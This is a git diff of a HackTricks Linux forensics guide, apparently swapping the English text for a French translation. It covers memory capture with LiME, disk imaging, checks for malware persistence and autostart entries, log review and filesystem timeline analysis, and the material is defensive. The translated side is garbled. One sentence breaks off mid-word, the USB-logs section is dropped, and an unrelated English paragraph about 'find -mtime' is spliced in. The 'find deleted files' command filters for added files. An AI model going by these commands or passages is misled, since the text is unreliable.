[**LiME**](https://github.com/504ensicsLabs/LiME) depuis github et le compiler avec les en-têtes de noyau corrects. Pour **obtenir les en-têtes de noyau exacts** de la machine victime, vous pouvez simplement **copier le répertoire** `/lib/modules/` sur votre machine, puis **compiler** LiME en les utilisant : ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME prend en charge 3 **formats** : -LiME supports 3 **formats**: +* Brut (chaque segment concaténé ensemble) +* Rembourré (identique au brut, mais avec des zéros dans les bits de droite) +* Lime (format recommandé avec des métadonnées) -* Raw (every segment concatenated together) -* Padded (same as raw, but with zeroes in right bits) -* Lime (recommended format with metadata +LiME peut également être utilisé pour **envoyer le dump via le réseau** au lieu de le stocker sur le système en utilisant quelque chose comme : `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### Imagerie de disque -### Disk Imaging +#### Arrêt -#### Shutting down +Tout d'abord, vous devrez **arrêter le système**. Ce n'est pas toujours une option car parfois le système sera un serveur de production que l'entreprise ne peut pas se permettre d'arrêter.\ +Il y a **2 façons** d'arrêter le système, un **arrêt normal** et un **arrêt "débrancher la prise"**. Le premier permettra aux **processus de se terminer normalement** et au **système de fichiers** d'être **synchronisé**, mais il permettra également au **logiciel malveillant** possible de **détruire des preuves**. L'approche "débrancher la prise" peut entraîner **une perte d'informations** (pas beaucoup d'informations vont être perdues car nous avons déjà pris une image de la mémoire) et le **logiciel malveillant n'aura aucune opportunité** d'y remédier. Par conséquent, si vous **soupçonnez** qu'il peut y avoir un **logiciel malveillant**, exécutez simplement la commande **`sync`** sur le système et débranchez la prise. -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### Prendre une image du disque +Il est important de noter que **avant de connecter votre ordinateur à quoi que ce soit lié à l'affaire**, vous devez être sûr qu'il va être **monté en lecture seule** pour éviter de modifier toute information. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -103,11 +95,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Pré-analyse de l'image disque -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +Création d'une image disque sans plus de données. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -160,21 +150,18 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` - ![](<../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Search for known Malware +## Recherche de logiciels malveillants connus -### Modified System Files - -Some Linux systems have a feature to **verify the integrity of many installed components**, providing an effective way to identify unusual or out of place files. For instance, `rpm -Va` on Linux is designed to verify all packages that were installed using RedHat Package Manager. +### Fichiers système modifiés +Certains systèmes Linux ont une fonctionnalité pour **vérifier l'intégrité de nombreux composants installés**, offrant ainsi un moyen efficace d'identifier les fichiers inhabituels ou mal placés. Par exemple, `rpm -Va` sur Linux est conçu pour vérifier tous les packages qui ont été installés à l'aide du gestionnaire de packages RedHat. ```bash #RedHat rpm -Va @@ -182,22 +169,20 @@ rpm -Va dpkg --verify debsums | grep -v "OK$" #apt-get install debsums ``` +### Détecteurs de logiciels malveillants/rootkits -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +Lisez la page suivante pour en savoir plus sur les outils qui peuvent être utiles pour trouver des logiciels malveillants : {% content-ref url="malware-analysis.md" %} [malware-analysis.md](malware-analysis.md) {% endcontent-ref %} -## Search installed programs +## Recherche de programmes installés -### Package Manager - -On Debian-based systems, the _**/var/ lib/dpkg/status**_ file contains details about installed packages and the _**/var/log/dpkg.log**_ file records information when a package is installed.\ -On RedHat and related Linux distributions the **`rpm -qa --root=/ mntpath/var/lib/rpm`** command will list the contents of an RPM database on a system. +### Gestionnaire de paquets +Sur les systèmes basés sur Debian, le fichier _**/var/lib/dpkg/status**_ contient des détails sur les paquets installés et le fichier _**/var/log/dpkg.log**_ enregistre des informations lorsqu'un paquet est installé.\ +Sur les distributions Linux RedHat et similaires, la commande **`rpm -qa --root=/chemin_montage/var/lib/rpm`** répertorie le contenu d'une base de données RPM sur un système. ```bash #Debian cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -205,17 +190,13 @@ cat /var/log/dpkg.log | grep installed #RedHat rpm -qa --root=/ mntpath/var/lib/rpm ``` +### Autre -### Other - -**Not all installed programs will be listed by the above commands** because some applications are not available as packages for certain systems and must be installed from the source. Therefore, a review of locations such as _**/usr/local**_ and _**/opt**_ may reveal other applications that have been compiled and installed from source code. - +**Tous les programmes installés ne seront pas répertoriés par les commandes ci-dessus** car certaines applications ne sont pas disponibles sous forme de packages pour certains systèmes et doivent être installées à partir de la source. Par conséquent, un examen des emplacements tels que _**/usr/local**_ et _**/opt**_ peut révéler d'autres applications qui ont été compilées et installées à partir du code source. ```bash ls /opt /usr/local ``` - -Another good idea is to **check** the **common folders** inside **$PATH** for **binaries not related** to **installed packages:** - +Une autre bonne idée est de **vérifier** les **dossiers communs** à l'intérieur de **$PATH** pour les **binaires non liés** aux **paquets installés :** ```bash #Both lines are going to print the executables in /sbin non related to installed packages #Debian @@ -223,23 +204,20 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found" #RedHat find /sbin/ –exec rpm -qf {} \; | grep "is not" ``` - ![](<../../.gitbook/assets/image (9) (1) (2).png>) -\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Recover Deleted Running Binaries +## Récupérer les binaires en cours d'exécution supprimés ![](<../../.gitbook/assets/image (641).png>) -## Inspect Autostart locations - -### Scheduled Tasks +## Inspecter les emplacements de démarrage automatique +### Tâches planifiées ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -253,10 +231,9 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` - ### Services -It is extremely common for malware to entrench itself as a new, unauthorized service. Linux has a number of scripts that are used to start services as the computer boots. The initialization startup script _**/etc/inittab**_ calls other scripts such as rc.sysinit and various startup scripts under the _**/etc/rc.d/**_ directory, or _**/etc/rc.boot/**_ in some older versions. On other versions of Linux, such as Debian, startup scripts are stored in the _**/etc/init.d/**_ directory. In addition, some common services are enabled in _**/etc/inetd.conf**_ or _**/etc/xinetd/**_ depending on the version of Linux. Digital investigators should inspect each of these startup scripts for anomalous entries. +Il est extrêmement courant que les logiciels malveillants s'implantent en tant que nouveau service non autorisé. Linux dispose de plusieurs scripts qui sont utilisés pour démarrer des services lorsque l'ordinateur démarre. Le script d'initialisation de démarrage _**/etc/inittab**_ appelle d'autres scripts tels que rc.sysinit et divers scripts de démarrage sous le répertoire _**/etc/rc.d/**_, ou _**/etc/rc.boot/**_ dans certaines versions plus anciennes. Dans d'autres versions de Linux, telles que Debian, les scripts de démarrage sont stockés dans le répertoire _**/etc/init.d/**_. De plus, certains services courants sont activés dans _**/etc/inetd.conf**_ ou _**/etc/xinetd/**_ en fonction de la version de Linux. Les enquêteurs numériques doivent inspecter chacun de ces scripts de démarrage pour détecter les entrées anormales. * _**/etc/inittab**_ * _**/etc/rc.d/**_ @@ -267,94 +244,79 @@ It is extremely common for malware to entrench itself as a new, unauthorized ser * _**/etc/systemd/system**_ * _**/etc/systemd/system/multi-user.target.wants/**_ -### Kernel Modules +### Modules du noyau -On Linux systems, kernel modules are commonly used as rootkit components for malware packages. Kernel modules are loaded when the system boots up based on the configuration information in the `/lib/modules/'uname -r'` and `/etc/modprobe.d` directories, and the `/etc/modprobe` or `/etc/modprobe.conf` file. These areas should be inspected for items that are related to malware. +Sur les systèmes Linux, les modules du noyau sont couramment utilisés comme composants rootkit pour les packages de logiciels malveillants. Les modules du noyau sont chargés lorsque le système démarre en fonction des informations de configuration dans les répertoires `/lib/modules/'uname -r'` et `/etc/modprobe.d`, et le fichier `/etc/modprobe` ou `/etc/modprobe.conf`. Ces zones doivent être inspectées pour les éléments liés aux logiciels malveillants. -### Other Autostart Locations +### Autres emplacements de démarrage automatique -There are several configuration files that Linux uses to automatically launch an executable when a user logs into the system that may contain traces of malware. +Il existe plusieurs fichiers de configuration que Linux utilise pour lancer automatiquement un exécutable lorsqu'un utilisateur se connecte au système et qui peuvent contenir des traces de logiciels malveillants. -* _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ are executed when any user account logs in. -* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ are executed when the specific user logs in. -* _**/etc/rc.local**_ It is traditionally executed after all the normal system services are started, at the end of the process of switching to a multiuser runlevel. +* _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ sont exécutés lorsqu'un compte utilisateur se connecte. +* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ sont exécutés lorsque l'utilisateur spécifique se connecte. +* _**/etc/rc.local**_ Il est traditionnellement exécuté après que tous les services système normaux sont démarrés, à la fin du processus de passage à un niveau d'exécution multi-utilisateur. -## Examine Logs +## Examiner les journaux -Look in all available log files on the compromised system for traces of malicious execution and associated activities such as the creation of a new service. +Recherchez dans tous les fichiers journaux disponibles sur le système compromis des traces d'exécution malveillante et d'activités associées telles que la création d'un nouveau service. -### Pure Logs +### Journaux purs -**Login** events recorded in the system and security logs, including logins via the network, can reveal that **malware** or an **intruder gained access** to a compromised system via a given account at a specific time. Other events around the time of a malware infection can be captured in system logs, including the **creation** of a **new** **service** or new accounts around the time of an incident.\ -Interesting system logins: +Les événements de **connexion** enregistrés dans les journaux système et de sécurité, y compris les connexions via le réseau, peuvent révéler que des **logiciels malveillants** ou un **intrus ont accédé** à un système compromis via un compte donné à un moment spécifique. D'autres événements autour du moment d'une infection par un logiciel malveillant peuvent être capturés dans les journaux système, y compris la **création** d'un **nouveau** **service** ou de nouveaux comptes autour du moment d'un incident.\ +Connexions système intéressantes : -* **/var/log/syslog** (debian) or **/var/log/messages** (Redhat) - * Shows general messages and info regarding the system. It is a data log of all activity throughout the global system. -* **/var/log/auth.log** (debian) or **/var/log/secure** (Redhat) - * Keep authentication logs for both successful or failed logins, and authentication processes. Storage depends on the system type. +* **/var/log/syslog** (debian) ou **/var/log/messages** (Redhat) + * Affiche des messages et des informations générales concernant le système. C'est un journal de données de toutes les activités dans l'ensemble du système global. +* **/var/log/auth.log** (debian) ou **/var/log/secure** (Redhat) + * Conserve les journaux d'authentification pour les connexions réussies ou échouées, et les processus d'authentification. Le stockage dépend du type de système. * `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"` -* **/var/log/boot.log**: start-up messages and boot info. -* **/var/log/maillog** or **var/log/mail.log:** is for mail server logs, handy for postfix, smtpd, or email-related services info running on your server. -* **/var/log/kern.log**: keeps in Kernel logs and warning info. Kernel activity logs (e.g., dmesg, kern.log, klog) can show that a particular service crashed repeatedly, potentially indicating that an unstable trojanized version was installed. -* **/var/log/dmesg**: a repository for device driver messages. Use **dmesg** to see messages in this file. -* **/var/log/faillog:** records info on failed logins. Hence, handy for examining potential security breaches like login credential hacks and brute-force attacks. -* **/var/log/cron**: keeps a record of Crond-related messages (cron jobs). Like when the cron daemon started a job. -* **/var/log/daemon.log:** keeps track of running background services but doesn’t represent them graphically. -* **/var/log/btmp**: keeps a note of all failed login attempts. -* **/var/log/httpd/**: a directory containing error\_log and access\_log files of the Apache httpd daemon. Every error that httpd comes across is kept in the **error\_log** file. Think of memory problems and other system-related errors. **access\_log** logs all requests which come in via HTTP. -* **/var/log/mysqld.log** or **/var/log/mysql.log**: MySQL log file that records every debug, failure and success message, including starting, stopping and restarting of MySQL daemon mysqld. The system decides on the directory. RedHat, CentOS, Fedora, and other RedHat-based systems use /var/log/mariadb/mariadb.log. However, Debian/Ubuntu use /var/log/mysql/error.log directory. -* **/var/log/xferlog**: keeps FTP file transfer sessions. Includes info like file names and user-initiated FTP transfers. -* **/var/log/\*** : You should always check for unexpected logs in this directory +* **/var/log/boot.log**: messages de démarrage et informations de démarrage. +* **/var/log/maillog** ou **var/log/mail.log:** est destiné aux journaux du serveur de messagerie, pratique pour les informations sur postfix, smtpd ou les services liés aux e-mails exécutés sur votre serveur. +* **/var/log/kern.log**: conserve les journaux et les avertissements du noyau. Les journaux d'activité du noyau (par exemple, dmesg, kern.log, klog) peuvent montrer qu'un service particulier a planté à plusieurs reprises, indiquant potentiellement qu'une version trojanisée instable a été installée. +* **/var/log/dmesg**: un référentiel pour les messages du pilote de périphérique. Utilisez **dmesg** pour voir les messages dans ce fichier. +* **/var/log/faillog:** enregistre des informations sur les connexions échouées. Par conséquent, pratique pour examiner les violations de sécurité potentielles telles que les piratages de crédentials de connexion et les attaques de force brute. +* **/var/log/cron**: conserve un enregistrement des messages liés à Crond (tâches cron). Comme quand le démon cron a démarré une tâche. +* **/var/log/daemon.log:** suit les services d'arrière-plan en cours d'exécution mais ne les représente pas graphiquement. +* **/var/log/btmp**: conserve une note de toutes les tentatives de connexion échouées. +* **/var/log/httpd/**: un répertoire contenant les fichiers error\_log et access\_log du démon Apache httpd. Chaque erreur rencontrée par httpd est conservée dans le fichier **error\_log**. Pensez aux problèmes de mémoire et aux autres erreurs liées au système. **access\_log** enregistre toutes les demandes qui arrivent via HTTP. +* **/var/log/mysqld.log** ou **/var/log/mysql.log**: fichier journal MySQL qui enregistre chaque message de débogage, d'échec et de réussite, y compris le démarrage, l'arrêt et le redémarrage du démon MySQL mysqld. Le système décide du répertoire. Les systèmes RedHat, CentOS, Fedora et autres systèmes basés sur RedHat utilisent /var/log/mariadb/mariadb.log. Cependant, Debian/Ubuntu utilise le répertoire /var/log/mysql/error.log. +* **/var/log/xferlog**: conserve les sessions de transfert de fichiers FTP. Comprend des informations telles que les noms de fichiers et les transferts FTP initiés par l'utilisateur. +* **/var/log/\*** : Vous devez toujours vérifier les journaux inattendus dans ce répertoire. {% hint style="info" %} -Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +Les journaux et les sous-systèmes d'audit des systèmes Linux peuvent être désactivés ou supprimés lors d'une intrusion ou d'un incident de logiciel malveillant. Étant donné que les journaux sur les systèmes Linux contiennent généralement les informations les plus utiles sur les activités malveillantes, les intrus les suppriment régulièrement. Par conséquent, lors de l'examen des fichiers journaux disponibles, il est important de rechercher des lacunes ou des entrées hors ordre qui pourraient indiquer une suppression ou une manipulation. {% endhint %} -### Command History +### Historique des commandes -Many Linux systems are configured to maintain a command history for each user account: +De nombreux systèmes Linux sont configurés pour conserver un historique des commandes pour chaque compte utilisateur : * \~/.bash\_history * \~/.history * \~/.sh\_history * \~/.\*\_history -### Logins +### Connexions -Using the command `last -Faiwx` it's possible to get the list of users that have logged in.\ -It is recommended to check if those logins make sense: +En utilisant la commande `last -Faiwx`, il est possible d'obtenir la liste des utilisateurs qui se sont connectés.\ +Il est recommandé de vérifier si ces connexions ont du sens : -* Any unknown user? -* Any user that shouldn't have a shell logged in? +* Tout utilisateur inconnu ? +* Tout utilisateur qui ne devrait pas avoir un shell connecté ? -This is important as **attackers** some times may copy `/bin/bash` inside `/bin/false` so users like **lightdm** may be **able to login**. +Ceci est important car les **attaquants** peuvent parfois copier `/bin/bash` à l'intérieur de `/bin/false` de sorte que des utilisateurs tels que **lightdm** peuvent être **capables de se connecter**. -Note that you can also **take a look at this information by reading the logs**. +Notez que vous pouvez également **consulter ces informations en lisant les journaux**. -### Application Traces - -* **SSH**: Connections to systems made using SSH to and from a compromised system result in entries being made in files for each user account (_**∼/.ssh/authorized\_keys**_ and _**∼/.ssh/known\_keys**_). These entries can reveal the hostname or IP address of the remote hosts. -* **Gnome Desktop**: User accounts may have a _**∼/.recently-used.xbel**_ file that contains information about files that were recently accessed using applications running on the Gnome desktop. -* **VIM**: User accounts may have a _**∼/.viminfo**_ file that contains details about the use of VIM, including search string history and paths to files that were opened using vim. -* **Open Office**: Recent files. -* **MySQL**: User accounts may have a _**∼/.mysql\_history**_ file that contains queries executed using MySQL. -* **Less**: User accounts may have a _**∼/.lesshst**_ file that contains details about the use of less, including search string history and shell commands executed via less. - -### USB Logs - -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. - -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +### Traces d'application +* **SSH**: Les connexions aux systèmes effectuées à l'aide de SSH vers et depuis un système compromis entraînent l'enregistrement d'entrées dans des fichiers pour chaque compte utilisateur (_**∼/.ssh/authorized\_keys**_ et _**∼/.ssh/known\_keys**_). Ces entrées peuvent révéler le nom d'hôte ou l'adresse IP des hôtes distants. +* **Gnome Desktop**: Les comptes d'utilisateurs peuvent avoir un fichier _**∼/.recently-used.xbel**_ qui contient des informations sur les fichiers qui ont été récemment accédés à l ``` pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### Exemples ``` usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -362,77 +324,92 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` - -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +Plus d'exemples et d'informations sont disponibles sur Github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser des workflows** avec les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Review User Accounts and Logon Activities +## Examiner les comptes d'utilisateurs et les activités de connexion -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. +Examinez les fichiers _**/etc/passwd**_, _**/etc/shadow**_ et les **logs de sécurité** pour trouver des noms inhabituels ou des comptes créés et/ou utilisés à proximité d'événements non autorisés connus. Vérifiez également les possibles attaques de force brute sudo.\ +De plus, vérifiez les fichiers tels que _**/etc/sudoers**_ et _**/etc/groups**_ pour les privilèges inattendus accordés aux utilisateurs.\ +Enfin, recherchez les comptes sans mot de passe ou avec des mots de passe **facilement devinables**. -## Examine File System +## Examiner le système de fichiers -File system data structures can provide substantial amounts of **information** related to a **malware** incident, including the **timing** of events and the actual **content** of **malware**.\ -**Malware** is increasingly being designed to **thwart file system analysis**. Some malware alter date-time stamps on malicious files to make it more difficult to find them with timeline analysis. Other malicious codes are designed to only store certain information in memory to minimize the amount of data stored in the file system.\ -To deal with such anti-forensic techniques, it is necessary to pay **careful attention to timeline analysis** of file system date-time stamps and to files stored in common locations where malware might be found. +Les structures de données du système de fichiers peuvent fournir des quantités substantielles d'**informations** liées à un incident de **malware**, y compris le **moment** des événements et le **contenu** réel du **malware**.\ +Les **malwares** sont de plus en plus conçus pour **contrecarrer l'analyse du système de fichiers**. Certains malwares modifient les horodatages des fichiers malveillants pour rendre plus difficile leur identification avec l'analyse de la chronologie. D'autres codes malveillants sont conçus pour ne stocker que certaines informations en mémoire pour minimiser la quantité de données stockées dans le système de fichiers.\ +Pour faire face à de telles techniques anti-forensiques, il est nécessaire de prêter une **attention particulière à l'analyse de la chronologie** des horodatages du système de fichiers et aux fichiers stockés dans des emplacements courants où les malwares pourraient être trouvés. -* Using **autopsy** you can see the timeline of events that may be useful to discover suspicious activity. You can also use the `mactime` feature from **Sleuth Kit** directly. -* Check for **unexpected scripts** inside **$PATH** (maybe some sh or php scripts?) -* Files in `/dev` used to be special files, you may find non-special files here related to malware. -* Look for unusual or **hidden files** and **directories**, such as “.. ” (dot dot space) or “..^G ” (dot dot control-G) -* Setuid copies of /bin/bash on the system `find / -user root -perm -04000 –print` -* Review date-time stamps of deleted **inodes for large numbers of files being deleted around the same time**, which might indicate malicious activity such as the installation of a rootkit or trojanized service. -* Because inodes are allocated on a next available basis, **malicious files placed on the system at around the same time may be assigned consecutive inodes**. Therefore, after one component of malware is located, it can be productive to inspect neighbouring inodes. -* Also check directories like _/bin_ or _/sbin_ as the **modified and or changed time** of new or modified files may be interesting. -* It's interesting to see the files and folders of a directory **sorted by creation date** instead of alphabetically to see which files or folders are more recent (the last ones usually). +* Avec **autopsy**, vous pouvez voir la chronologie des événements qui peuvent être utiles pour découvrir une activité suspecte. Vous pouvez également utiliser la fonction `mactime` de **Sleuth Kit** directement. +* Vérifiez les **scripts inattendus** dans **$PATH** (peut-être des scripts sh ou php?) +* Les fichiers dans `/dev` étaient autrefois des fichiers spéciaux, vous pouvez trouver ici des fichiers non spéciaux liés aux malwares. +* Recherchez des fichiers et des répertoires inhabituels ou **cachés**, tels que ".. " (point point espace) ou "..^G " (point point contrôle-G) +* Copies setuid de /bin/bash sur le système `find / -user root -perm -04000 –print` +* Examinez les horodatages des inodes supprimés pour un grand nombre de fichiers supprimés autour du même moment, ce qui pourrait indiquer une activité malveillante telle que l'installation d'un rootkit ou d'un service trojanisé. +* Étant donné que les inodes sont alloués sur une base de disponibilité suivante, **les fichiers malveillants placés sur le système à peu près au même moment peuvent se voir attribuer des inodes consécutifs**. Par conséquent, après la localisation d'un composant de malware, il peut être productif d'inspecter les inodes voisins. +* Vérifiez également les répertoires tels que _/bin_ ou _/sbin_ car la **date de modification et/ou de changement** des nouveaux fichiers ou des fichiers modifiés peut être intéressante. +* Il est intéressant de voir les fichiers et les dossiers d'un répertoire **triés par date de création** plutôt qu'alphabétiquement pour voir quels fichiers ou dossiers sont plus récents (les derniers étant généralement). -You can check the most recent files of a folder using `ls -laR --sort=time /bin`\ -You can check the inodes of the files inside a folder using `ls -lai /bin |sort -n` +Vous pouvez vérifier les fichiers les plus récents d'un dossier en utilisant `ls -laR --sort=time /bin`\ +Vous pouvez vérifier les inodes des fichiers à l'intérieur d'un dossier en utilisant `ls -lai /bin |sort -n` {% hint style="info" %} -Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +Notez qu'un **attaquant** peut **modifier** l'**heure** pour faire **apparaître des fichiers légitimes**, mais il ne peut pas modifier l'**inode**. Si vous constatez qu'un **fichier** indique qu'il a été créé et modifié en même temps que le reste des fichiers dans le même dossier, mais que l'**inode** est **inhabituellement plus grand**, alors les **horodatages de ce fichier ont été modifiés**. {% endhint %} -## Compare files of different filesystem versions - -#### Find added files +## Comparer les fichiers de différentes versions du système de fichiers +#### Trouver les fichiers ajoutés ```bash git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ ``` +#### Trouver le contenu modifié -#### Find Modified content +--- +To find modified content in a Linux system, we can use the `find` command with the `-mtime` option. This option allows us to search for files that were modified within a certain time frame. + +For example, to find files that were modified in the last 24 hours, we can use the following command: + +``` +find / -mtime 0 +``` + +This will search the entire file system (`/`) for files that were modified within the last 24 hours (`-mtime 0`). + +We can also use the `-type` option to search for specific types of files. For example, to search for only modified text files, we can use the following command: + +``` +find / -type f -name "*.txt" -mtime 0 +``` + +This will search for only text files (`-type f` and `-name "*.txt"`) that were modified within the last 24 hours (`-mtime 0`). + +Once we have found the modified files, we can analyze them further using other forensic tools and techniques. ```bash git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -#### Find deleted files - +#### Trouver des fichiers supprimés ```bash git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ ``` - -#### Other filters +#### Autres filtres **`-diff-filter=[(A|C|D|M|R|T|U|X|B)…​[*]]`** -Select only files that are Added (`A`), Copied (`C`), Deleted (`D`), Modified (`M`), Renamed (`R`), and have their type (i.e. regular file, symlink, submodule, …​) changed (`T`), are Unmerged (`U`), are Unknown (`X`), or have had their pairing Broken (`B`). Any combination of the filter characters (including none) can be used. When `*` (All-or-none) is added to the combination, all paths are selected if there is any file that matches other criteria in the comparison; if there is no file that matches other criteria, nothing is selected. +Sélectionne uniquement les fichiers qui ont été ajoutés (`A`), copiés (`C`), supprimés (`D`), modifiés (`M`), renommés (`R`), et dont le type (c'est-à-dire fichier régulier, lien symbolique, sous-module, ...) a été modifié (`T`), sont non fusionnés (`U`), sont inconnus (`X`), ou ont eu leur association rompue (`B`). Toute combinaison de caractères de filtre (y compris aucun) peut être utilisée. Lorsque `*` (tout ou rien) est ajouté à la combinaison, tous les chemins sont sélectionnés s'il y a un fichier qui correspond à d'autres critères de comparaison ; s'il n'y a pas de fichier qui correspond à d'autres critères, rien n'est sélectionné. -Also, **these upper-case letters can be downcased to exclude**. E.g. `--diff-filter=ad` excludes added and deleted paths. +De plus, **ces lettres majuscules peuvent être en minuscules pour exclure**. Par exemple, `--diff-filter=ad` exclut les chemins ajoutés et supprimés. -Note that not all diffs can feature all types. For instance, diffs from the index to the working tree can never have Added entries (because the set of paths included in the diff is limited by what is in the index). Similarly, copied and renamed entries cannot appear if detection for those types is disabled. +Notez que tous les diffs ne peuvent pas comporter tous les types. Par exemple, les diffs de l'index vers l'arborescence de travail ne peuvent jamais comporter d'entrées ajoutées (parce que l'ensemble des chemins inclus dans le diff est limité par ce qui se trouve dans l'index). De même, les entrées copiées et renommées ne peuvent pas apparaître si la détection de ces types est désactivée. -## References +## Références * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) @@ -441,20 +418,20 @@ Note that not all diffs can feature all types. For instance, diffs from the inde ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le 